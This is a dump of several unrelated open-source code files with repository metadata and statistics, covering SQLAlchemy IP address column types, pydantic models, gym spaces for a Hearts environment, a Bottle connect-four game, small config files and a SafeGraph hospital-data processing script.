| 2,608
|
py
|
Python
|
tinyipam/model/custom_types/ip.py
|
marcsello/tinyipam
|
6a8dff9609015a7c5138ee3985d5a5aa163474bc
|
[
"MIT"
] | null | null | null |
tinyipam/model/custom_types/ip.py
|
marcsello/tinyipam
|
6a8dff9609015a7c5138ee3985d5a5aa163474bc
|
[
"MIT"
] | null | null | null |
tinyipam/model/custom_types/ip.py
|
marcsello/tinyipam
|
6a8dff9609015a7c5138ee3985d5a5aa163474bc
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
from sqlalchemy import types
from sqlalchemy.types import TypeDecorator
from ipaddress import IPv4Network, IPv6Network, IPv4Address, IPv6Address
# TODO: Use postgres native types if available
class DBIPv4SubnetStr(TypeDecorator):
impl = types.Unicode(18)
def __init__(self, *args, **kwargs):
super(DBIPv4SubnetStr, self).__init__(*args, **kwargs)
self.impl = types.Unicode(18)
def process_literal_param(self, value, dialect):
return str(value) if value else None
def process_bind_param(self, value, dialect):
return str(value) if value else None
def process_result_value(self, value, dialect):
return IPv4Network(value) if value else None
@property
def python_type(self):
return self.impl.type.python_type
class DBIPv6SubnetStr(TypeDecorator):
impl = types.Unicode(43)
def __init__(self, *args, **kwargs):
super(DBIPv6SubnetStr, self).__init__(*args, **kwargs)
self.impl = types.Unicode(43)
def process_literal_param(self, value, dialect):
return str(value) if value else None
def process_bind_param(self, value, dialect):
return str(value) if value else None
def process_result_value(self, value, dialect):
return IPv6Network(value) if value else None
@property
def python_type(self):
return self.impl.type.python_type
class DBIPv4AddressStr(TypeDecorator):
impl = types.Unicode(15)
def __init__(self, *args, **kwargs):
super(DBIPv4AddressStr, self).__init__(*args, **kwargs)
self.impl = types.Unicode(15)
def process_literal_param(self, value, dialect):
return str(value) if value else None
def process_bind_param(self, value, dialect):
return str(value) if value else None
def process_result_value(self, value, dialect):
return IPv4Address(value) if value else None
@property
def python_type(self):
return self.impl.type.python_type
class DBIPv6AddressStr(TypeDecorator):
impl = types.Unicode(39)
def __init__(self, *args, **kwargs):
super(DBIPv6AddressStr, self).__init__(*args, **kwargs)
self.impl = types.Unicode(39)
def process_literal_param(self, value, dialect):
return str(value) if value else None
def process_bind_param(self, value, dialect):
return str(value) if value else None
def process_result_value(self, value, dialect):
return IPv6Address(value) if value else None
@property
def python_type(self):
return self.impl.type.python_type
| 28.659341
| 72
| 0.692868
| 331
| 2,608
| 5.265861
| 0.154079
| 0.068847
| 0.110155
| 0.151463
| 0.768216
| 0.722318
| 0.662651
| 0.662651
| 0.575445
| 0.575445
| 0
| 0.016098
| 0.213957
| 2,608
| 90
| 73
| 28.977778
| 0.834146
| 0.025307
| 0
| 0.610169
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.011111
| 0
| 1
| 0.338983
| false
| 0
| 0.050847
| 0.271186
| 0.79661
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
46de7a219f85c0ef5348926c9b4d6cce1458dccb
| 241
|
py
|
Python
|
aiomatrix/types/responses/content_repository.py
|
Forden/aiomatrix
|
d258076bae8eb776495b92be46ee9f4baec8d9a6
|
[
"MIT"
] | 2
|
2021-10-29T18:07:08.000Z
|
2021-11-19T00:25:43.000Z
|
aiomatrix/types/responses/content_repository.py
|
Forden/aiomatrix
|
d258076bae8eb776495b92be46ee9f4baec8d9a6
|
[
"MIT"
] | 1
|
2022-03-06T11:17:43.000Z
|
2022-03-06T11:17:43.000Z
|
aiomatrix/types/responses/content_repository.py
|
Forden/aiomatrix
|
d258076bae8eb776495b92be46ee9f4baec8d9a6
|
[
"MIT"
] | null | null | null |
from typing import Optional
from pydantic import BaseModel, Field
class ContentRepositoryConfig(BaseModel):
upload_size: Optional[int] = Field(None, alias='m.upload.size')
class UploadedFileResponse(BaseModel):
content_uri: str
| 20.083333
| 67
| 0.780083
| 28
| 241
| 6.642857
| 0.678571
| 0.107527
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.136929
| 241
| 11
| 68
| 21.909091
| 0.894231
| 0
| 0
| 0
| 0
| 0
| 0.053942
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
46e61c281bf59a1695273c93f2d15f47e4004dc4
| 61
|
py
|
Python
|
backend/urls.py
|
Takenori-Kusaka/Vuetify_FastAPI_Base
|
2ceb4f9ecd659e2a3d1ef483e15a45f438c51d41
|
[
"MIT"
] | null | null | null |
backend/urls.py
|
Takenori-Kusaka/Vuetify_FastAPI_Base
|
2ceb4f9ecd659e2a3d1ef483e15a45f438c51d41
|
[
"MIT"
] | null | null | null |
backend/urls.py
|
Takenori-Kusaka/Vuetify_FastAPI_Base
|
2ceb4f9ecd659e2a3d1ef483e15a45f438c51d41
|
[
"MIT"
] | 1
|
2021-04-19T03:01:33.000Z
|
2021-04-19T03:01:33.000Z
|
from index import *
# URL
app.add_api_route('/', index)
| 12.2
| 30
| 0.639344
| 9
| 61
| 4.111111
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.213115
| 61
| 4
| 31
| 15.25
| 0.770833
| 0.04918
| 0
| 0
| 0
| 0
| 0.019231
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
46eec5846ef3604bf69a96ba7cbd8a23c44fcc72
| 993
|
py
|
Python
|
demo/part_1.py
|
eric6239/HeartsEnv
|
8b8c438f4e0add9a9e956b85ba3cad82af45fbcb
|
[
"MIT"
] | 6
|
2018-08-12T00:27:10.000Z
|
2019-05-09T09:41:08.000Z
|
demo/part_1.py
|
eric6239/HeartsEnv
|
8b8c438f4e0add9a9e956b85ba3cad82af45fbcb
|
[
"MIT"
] | 8
|
2018-08-15T08:46:39.000Z
|
2021-06-01T22:29:39.000Z
|
demo/part_1.py
|
roth1002/HeartsEnv
|
4d987978b4a5ea2fd2dbbaeb2a87eca08e1cbfc2
|
[
"MIT"
] | 3
|
2018-08-14T09:27:37.000Z
|
2018-08-29T06:31:12.000Z
|
from gym import spaces
table_space = spaces.Tuple([
spaces.Discrete(13), # n_round
spaces.Discrete(4), # start_pos
spaces.Discrete(4), # cur_pos
spaces.Discrete(1), # exchanged
spaces.Discrete(1), # heart_occured
spaces.Discrete(100), # n_games
spaces.Tuple([ # board
spaces.MultiDiscrete([13, 4])
] * 4),
spaces.Tuple([ # first_draw
spaces.MultiDiscrete([13, 4])
]),
spaces.Tuple([ # bank
spaces.Tuple([
spaces.MultiDiscrete([13, 4])
] * 3),
] * 4)
])
player_space = spaces.Tuple([
spaces.Discrete(200), # score
spaces.Tuple([ # hand
spaces.MultiDiscrete([13, 4])
] * 13),
spaces.Tuple([ # income
spaces.MultiDiscrete([13, 4])
] * 52),
] * 4)
p_space = spaces.Tuple([
spaces.Discrete(200), # score
spaces.Tuple([ # hand
spaces.MultiDiscrete([13, 4])
] * 13),
spaces.Tuple([ # income
spaces.MultiDiscrete([13, 4])
] * 52),
])
| 23.642857
| 41
| 0.567976
| 113
| 993
| 4.911504
| 0.300885
| 0.218018
| 0.264865
| 0.277477
| 0.479279
| 0.425225
| 0.425225
| 0.425225
| 0.425225
| 0.425225
| 0
| 0.066116
| 0.268882
| 993
| 41
| 42
| 24.219512
| 0.698347
| 0.115811
| 0
| 0.763158
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.026316
| 0
| 0.026316
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
2003056b00e78b08b3ceae8a7f8b039c284c2fa1
| 4,683
|
py
|
Python
|
4_v_vrsto_streznik.py
|
miharadez/4-v-vrsto
|
d1048e77787de94a9283038670c03f95ce689b0c
|
[
"MIT"
] | null | null | null |
4_v_vrsto_streznik.py
|
miharadez/4-v-vrsto
|
d1048e77787de94a9283038670c03f95ce689b0c
|
[
"MIT"
] | null | null | null |
4_v_vrsto_streznik.py
|
miharadez/4-v-vrsto
|
d1048e77787de94a9283038670c03f95ce689b0c
|
[
"MIT"
] | null | null | null |
import bottle
import pathlib
import os
from cela_igra import *
pot = os.path.join(pathlib.Path(__file__).parent.absolute(), "views")
d = Igra((7, 6), 0, [], [], prosti=[0 for i in range(7)], kam=(0, 0))
@bottle.get("/")
def predstavi():
return bottle.template(os.path.join(pot, "poimenuj.tpl"))
@bottle.post("/poimenuj/")
def preusmeri():
a = bottle.request.forms.a
return bottle.template(os.path.join(pot, "preusmeri.tpl"), ime=a)
@bottle.post("/<ime>/")
def pozdravi(ime):
return bottle.template(os.path.join(pot, "level.tpl"), ime=ime)
@bottle.post("/<ime>/<level>/")
def izbira_parametrov(ime, level):
return bottle.template(os.path.join(pot, "igralec.tpl"),
ime=ime, level=level)
@bottle.post("/<ime>/<level>/<igralec>/")
def prva_poteza(ime, level, igralec):
d.poteza = 0
d.rdeci = []
d.rumeni = []
d.prosti = [0 for i in range(7)]
if igralec == "2":
if level == "zelo lahko":
n = (robot1(d))
elif level == "lahko":
n = (robot2(d))
elif level == "srednje":
n = (robot3(d))
elif level == "težje":
n = (robot4(d))
else:
n = (robot5(d))
d.dodaj(n)
z = []
for i in range(d.velikost[1] - 1, -1, -1):
b = " "
for j in range(d.velikost[0]):
if (j, i) in d.rdeci:
b = b + "🔴   "
elif (j, i) in d.rumeni:
b = b + "🔵   "
else:
b = b + "⚪   "
z.append(b)
return bottle.template(os.path.join(pot, "poteza.tpl"), ime=ime,
level=level, igralec=igralec, tabela=tuple(z))
@bottle.post("/<ime>/<level>/<igralec>/<opcija>/")
def naslednje_poteze(ime, level, igralec, opcija):
if int(opcija) not in d.kam_lahko():
z = []
for i in range(d.velikost[1] - 1, -1, -1):
b = " "
for j in range(d.velikost[0]):
if (j, i) in d.rdeci:
b = b + "🔴   "
elif (j, i) in d.rumeni:
b = b + "🔵   "
else:
b = b + "⚪   "
z.append(b)
tabela = tuple(z)
return bottle.template(os.path.join(pot, "poteza.tpl"), ime=ime,
level=level, igralec=igralec, tabela=tuple(z))
else:
d.dodaj(int(opcija))
z = []
for i in range(d.velikost[1] - 1, -1, -1):
b = " "
for j in range(d.velikost[0]):
if (j, i) in d.rdeci:
b = b + "🔴   "
elif (j, i) in d.rumeni:
b = b + "🔵   "
else:
b = b + "⚪   "
z.append(b)
tabela = tuple(z)
if d.zmaga(): # igralec je zmagal
return bottle.template(os.path.join(pot, "zmaga.tpl"),
ime=ime, tabela=tabela)
if d.prosti == [d.velikost[1] for i in range(d.velikost[0])]:
# vse polno-> izenačenje
return bottle.template(os.path.join(pot, "polno.tpl"), ime=ime,
level=level, igralec=igralec, tabela=tuple(z))
else:
if level == "zelo lahko":
n = (robot1(d))
elif level == "lahko":
n = (robot2(d))
elif level == "srednje":
n = (robot3(d))
elif level == "težje":
n = (robot4(d))
else:
n = (robot5(d))
d.dodaj(n)
z = []
for i in range(d.velikost[1] - 1, -1, -1):
b = " "
for j in range(d.velikost[0]):
if (j, i) in d.rdeci:
b = b + "🔴   "
elif (j, i) in d.rumeni:
b = b + "🔵   "
else:
b = b + "⚪   "
z.append(b)
if d.zmaga(): # igralec je zmagal
return bottle.template(os.path.join(pot, "poraz.tpl"),
ime=ime, tabela=tuple(z))
if d.prosti == [d.velikost[1] for i in range(d.velikost[0])]:
# vse polno-> izenačenje
return bottle.template(os.path.join(pot, "polno.tpl"), ime=ime,
level=level, igralec=igralec, tabela=tuple(z))
else:
return bottle.template(os.path.join(pot, "poteza.tpl"), ime=ime,
level=level, igralec=igralec, tabela=tuple(z))
bottle.run(debug=True, reloader=True)
| 30.809211
| 77
| 0.474269
| 614
| 4,683
| 3.602606
| 0.144951
| 0.065099
| 0.05425
| 0.109403
| 0.768987
| 0.735081
| 0.735081
| 0.658228
| 0.658228
| 0.658228
| 0
| 0.070455
| 0.342302
| 4,683
| 152
| 78
| 30.809211
| 0.647727
| 0.017297
| 0
| 0.702479
| 0
| 0
| 0.128534
| 0.081557
| 0
| 0
| 0
| 0
| 0
| 1
| 0.049587
| false
| 0
| 0.033058
| 0.024793
| 0.173554
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
20078cffa699e56cc802e1e4d1c71b16ab810b04
| 55
|
py
|
Python
|
deliravision/torch/models/gans/munit/__init__.py
|
delira-dev/vision_torch
|
d944aa67d319bd63a2add5cb89e8308413943de6
|
[
"BSD-2-Clause"
] | 4
|
2019-08-03T09:56:50.000Z
|
2019-09-05T09:32:06.000Z
|
deliravision/torch/models/gans/munit/__init__.py
|
delira-dev/vision_torch
|
d944aa67d319bd63a2add5cb89e8308413943de6
|
[
"BSD-2-Clause"
] | 23
|
2019-08-03T14:16:47.000Z
|
2019-10-22T10:15:10.000Z
|
deliravision/torch/models/gans/munit/__init__.py
|
delira-dev/vision_torch
|
d944aa67d319bd63a2add5cb89e8308413943de6
|
[
"BSD-2-Clause"
] | null | null | null |
from deliravision.models.gans.munit.munit import MUNIT
| 27.5
| 54
| 0.854545
| 8
| 55
| 5.875
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.072727
| 55
| 1
| 55
| 55
| 0.921569
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
2010207d45b27d7b50766714a96e169c4be8fc70
| 174
|
py
|
Python
|
sandbox/apps/app.py
|
django-oscar/django-oscar-gocardless
|
d22b01541cad9a20728769978550977a95689d8f
|
[
"BSD-3-Clause"
] | 3
|
2015-06-22T11:00:57.000Z
|
2021-05-12T07:30:41.000Z
|
sandbox/apps/app.py
|
django-oscar/django-oscar-gocardless
|
d22b01541cad9a20728769978550977a95689d8f
|
[
"BSD-3-Clause"
] | null | null | null |
sandbox/apps/app.py
|
django-oscar/django-oscar-gocardless
|
d22b01541cad9a20728769978550977a95689d8f
|
[
"BSD-3-Clause"
] | 7
|
2015-06-25T11:34:43.000Z
|
2018-10-15T00:47:21.000Z
|
from oscar.app import Shop
from apps.checkout.app import application as checkout_app
class GoCardlessShop(Shop):
checkout_app = checkout_app
shop = GoCardlessShop()
| 17.4
| 58
| 0.787356
| 23
| 174
| 5.826087
| 0.478261
| 0.328358
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.155172
| 174
| 9
| 59
| 19.333333
| 0.911565
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
2016eb2764699564661acb717df48599d8daf049
| 270
|
py
|
Python
|
0x0A-python-inheritance/6-base_geometry.py
|
Trice254/alx-higher_level_programming
|
b49b7adaf2c3faa290b3652ad703914f8013c67c
|
[
"MIT"
] | null | null | null |
0x0A-python-inheritance/6-base_geometry.py
|
Trice254/alx-higher_level_programming
|
b49b7adaf2c3faa290b3652ad703914f8013c67c
|
[
"MIT"
] | null | null | null |
0x0A-python-inheritance/6-base_geometry.py
|
Trice254/alx-higher_level_programming
|
b49b7adaf2c3faa290b3652ad703914f8013c67c
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python3
"""
Contains empty class BaseGeometry
with public instance method area
"""
class BaseGeometry:
"""
Methods:
area(self)
"""
def area(self):
"""not implemented"""
raise Exception("area() is not implemented")
| 18
| 52
| 0.6
| 28
| 270
| 5.785714
| 0.714286
| 0.209877
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005051
| 0.266667
| 270
| 14
| 53
| 19.285714
| 0.813131
| 0.459259
| 0
| 0
| 0
| 0
| 0.219298
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
204f77d29d2d9c3da30816d2f3f9786cc2f18ab8
| 83
|
py
|
Python
|
nugu/apps.py
|
tmddusgood/NUGU_movie_recommendation-1
|
0c87638963d4681583f94def038dcd980270cb14
|
[
"MIT"
] | null | null | null |
nugu/apps.py
|
tmddusgood/NUGU_movie_recommendation-1
|
0c87638963d4681583f94def038dcd980270cb14
|
[
"MIT"
] | null | null | null |
nugu/apps.py
|
tmddusgood/NUGU_movie_recommendation-1
|
0c87638963d4681583f94def038dcd980270cb14
|
[
"MIT"
] | 3
|
2020-03-23T02:53:49.000Z
|
2021-01-02T20:15:09.000Z
|
from django.apps import AppConfig
class NuguConfig(AppConfig):
name = 'nugu'
| 13.833333
| 33
| 0.73494
| 10
| 83
| 6.1
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.180723
| 83
| 5
| 34
| 16.6
| 0.897059
| 0
| 0
| 0
| 0
| 0
| 0.048193
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
64978091119bc050b3694579954c4d781a7f2b03
| 293
|
py
|
Python
|
exercises/list-ops/list_ops.py
|
kishankj/python
|
82042de746128127502e109111e6c4e8ab002af6
|
[
"MIT"
] | 1,177
|
2017-06-21T20:24:06.000Z
|
2022-03-29T02:30:55.000Z
|
exercises/list-ops/list_ops.py
|
kishankj/python
|
82042de746128127502e109111e6c4e8ab002af6
|
[
"MIT"
] | 1,890
|
2017-06-18T20:06:10.000Z
|
2022-03-31T18:35:51.000Z
|
exercises/list-ops/list_ops.py
|
kishankj/python
|
82042de746128127502e109111e6c4e8ab002af6
|
[
"MIT"
] | 1,095
|
2017-06-26T23:06:19.000Z
|
2022-03-29T03:25:38.000Z
|
def append(list1, list2):
pass
def concat(lists):
pass
def filter(function, list):
pass
def length(list):
pass
def map(function, list):
pass
def foldl(function, list, initial):
pass
def foldr(function, list, initial):
pass
def reverse(list):
pass
| 9.451613
| 35
| 0.631399
| 39
| 293
| 4.74359
| 0.410256
| 0.264865
| 0.178378
| 0.205405
| 0.281081
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009259
| 0.262799
| 293
| 30
| 36
| 9.766667
| 0.847222
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0.5
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
64a033e14a76469ac570dae12f85a26317bb6c5a
| 236
|
py
|
Python
|
config.py
|
lubupang/resume_flask1
|
1ea18e88c0b667e92710096f57973a77d19e8fc6
|
[
"MIT"
] | null | null | null |
config.py
|
lubupang/resume_flask1
|
1ea18e88c0b667e92710096f57973a77d19e8fc6
|
[
"MIT"
] | null | null | null |
config.py
|
lubupang/resume_flask1
|
1ea18e88c0b667e92710096f57973a77d19e8fc6
|
[
"MIT"
] | null | null | null |
import os
# 是否开启debug模式
DEBUG = True
# 读取数据库环境变量
username = os.environ.get("MYSQL_USERNAME", r'root')
password = os.environ.get("MYSQL_PASSWORD", r'lubupangAdmin123!!!')
db_address =os.environ.get("MYSQL_ADDRESS", r'10.0.224.8:3306')
| 23.6
| 67
| 0.737288
| 35
| 236
| 4.857143
| 0.6
| 0.158824
| 0.211765
| 0.3
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.065421
| 0.09322
| 236
| 9
| 68
| 26.222222
| 0.728972
| 0.088983
| 0
| 0
| 0
| 0
| 0.372642
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.2
| 0.2
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
64cb58f42a61635f66e7a69c8d7784c16c2202ae
| 8,853
|
py
|
Python
|
SafeGraph/1.POIs.py
|
yeabinmoon/economics
|
53bfc51f2227755948ac937c3e763b747d3aedec
|
[
"MIT"
] | null | null | null |
SafeGraph/1.POIs.py
|
yeabinmoon/economics
|
53bfc51f2227755948ac937c3e763b747d3aedec
|
[
"MIT"
] | null | null | null |
SafeGraph/1.POIs.py
|
yeabinmoon/economics
|
53bfc51f2227755948ac937c3e763b747d3aedec
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sat Feb 27 23:57:54 2021
@author: yeabinmoon
"""
import pandas as pd
import time
file_lists = ['core_poi-part1.csv.gz', 'core_poi-part2.csv.gz',
'core_poi-part3.csv.gz', 'core_poi-part4.csv.gz',
'core_poi-part5.csv.gz']
months = ['03','04','05','06','07','08','09','10']
df = pd.DataFrame()
for month in months:
temp_df = pd.DataFrame()
for files in file_lists:
temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/2020/'+month+'/'+files,
dtype = {'naics_code':str,'postal_code':str})
temp = temp.loc[temp.naics_code.str[:3] == '622',:]
temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True)
df = pd.concat([df, temp_df], axis = 0, ignore_index=True)
df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:]
temp_df = pd.DataFrame()
for files in file_lists:
temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2020/11/06/11/'+files,
dtype = {'naics_code':str,'postal_code':str})
temp = temp.loc[temp.naics_code.str[:3] == '622',:]
temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True)
df = pd.concat([df, temp_df], axis = 0, ignore_index=True)
df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:]
temp_df = pd.DataFrame()
for files in file_lists:
temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2020/11/06/12/'+files,
dtype = {'naics_code':str,'postal_code':str})
temp = temp.loc[temp.naics_code.str[:3] == '622',:]
temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True)
df = pd.concat([df, temp_df], axis = 0, ignore_index=True)
df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:]
temp_df = pd.DataFrame()
for files in file_lists:
temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2020/12/04/04/'+files,
dtype = {'naics_code':str,'postal_code':str})
temp = temp.loc[temp.naics_code.str[:3] == '622',:]
temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True)
df = pd.concat([df, temp_df], axis = 0, ignore_index=True)
df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:]
temp_df = pd.DataFrame()
for files in file_lists:
temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2021/01/06/11/'+files,
dtype = {'naics_code':str,'postal_code':str})
temp = temp.loc[temp.naics_code.str[:3] == '622',:]
temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True)
df = pd.concat([df, temp_df], axis = 0, ignore_index=True)
df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:]
temp_df = pd.DataFrame()
for files in file_lists:
temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2021/02/04/06/'+files,
dtype = {'naics_code':str,'postal_code':str})
temp = temp.loc[temp.naics_code.str[:3] == '622',:]
temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True)
df = pd.concat([df, temp_df], axis = 0, ignore_index=True)
df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:]
temp_df = pd.DataFrame()
for files in file_lists:
temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2021/02/08/08/'+files,
dtype = {'naics_code':str,'postal_code':str})
temp = temp.loc[temp.naics_code.str[:3] == '622',:]
temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True)
df = pd.concat([df, temp_df], axis = 0, ignore_index=True)
df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:]
df.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/hospital.pickle')
df = pd.read_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/hospital.pickle')
cols = ['safegraph_place_id','location_name','top_category','naics_code',
'latitude','longitude','city','region']
df = df.loc[:,cols]
df = df.loc[(df.region != "AS") & (df.region != "GU") & (df.region != "PR") & (df.region != "VI"),:]
df.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/POI.pickle')
# Filter Hospital using monthly visitng data
df = pd.read_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/POI.pickle')
df = df.loc[:,['safegraph_place_id']]
years = ['2018','2019']
months = pd.date_range(start='2018-01-01', end='2018-12-31',freq= 'M')
months = list(months.strftime('%m'))
list_files = ['patterns-part1.csv.gz','patterns-part2.csv.gz',
'patterns-part3.csv.gz','patterns-part4.csv.gz']
year = years[0]
month = months[0]
files = list_files[0]
for year in years:
for month in months:
start_time_month = time.time()
temp = pd.DataFrame()
for files in list_files:
temp_df = pd.read_csv('/Volumes/LaCie/cg-data/Pattern_1/'+year+'/'+month+'/'+files,
usecols = ['safegraph_place_id','raw_visit_counts'],
compression = 'gzip')
temp = pd.concat([temp, temp_df], axis = 0, ignore_index=True)
df = df.merge(temp, how = 'left', on = 'safegraph_place_id')
df.rename(columns = {'raw_visit_counts':year+'-'+month}, inplace = True)
print("Done", year+'-'+month)
print("%f seconds" % (time.time() - start_time_month))
df.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/temp/temp1.pickle.gz',
compression = 'gzip')
year = '2020'
for month in ['01','02','03','04']:
start_time_month = time.time()
temp = pd.DataFrame()
for files in list_files:
temp_df = pd.read_csv('/Volumes/LaCie/cg-data/Pattern_1/'+year+'/'+month+'/'+files,
usecols = ['safegraph_place_id','raw_visit_counts'],
compression = 'gzip')
temp = pd.concat([temp, temp_df], axis = 0, ignore_index=True)
df = df.merge(temp, how = 'left', on = 'safegraph_place_id')
df.rename(columns = {'raw_visit_counts':year+'-'+month}, inplace = True)
print("Done", year+'-'+month)
print("%f seconds" % (time.time() - start_time_month))
df.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/temp/temp1.pickle.gz',
compression = 'gzip')
directories = ['/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/06/05/06/',
'/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/07/06/06/',
'/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/08/05/09/',
'/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/09/04/09/',
'/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/10/07/02/',
'/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/11/06/11/',
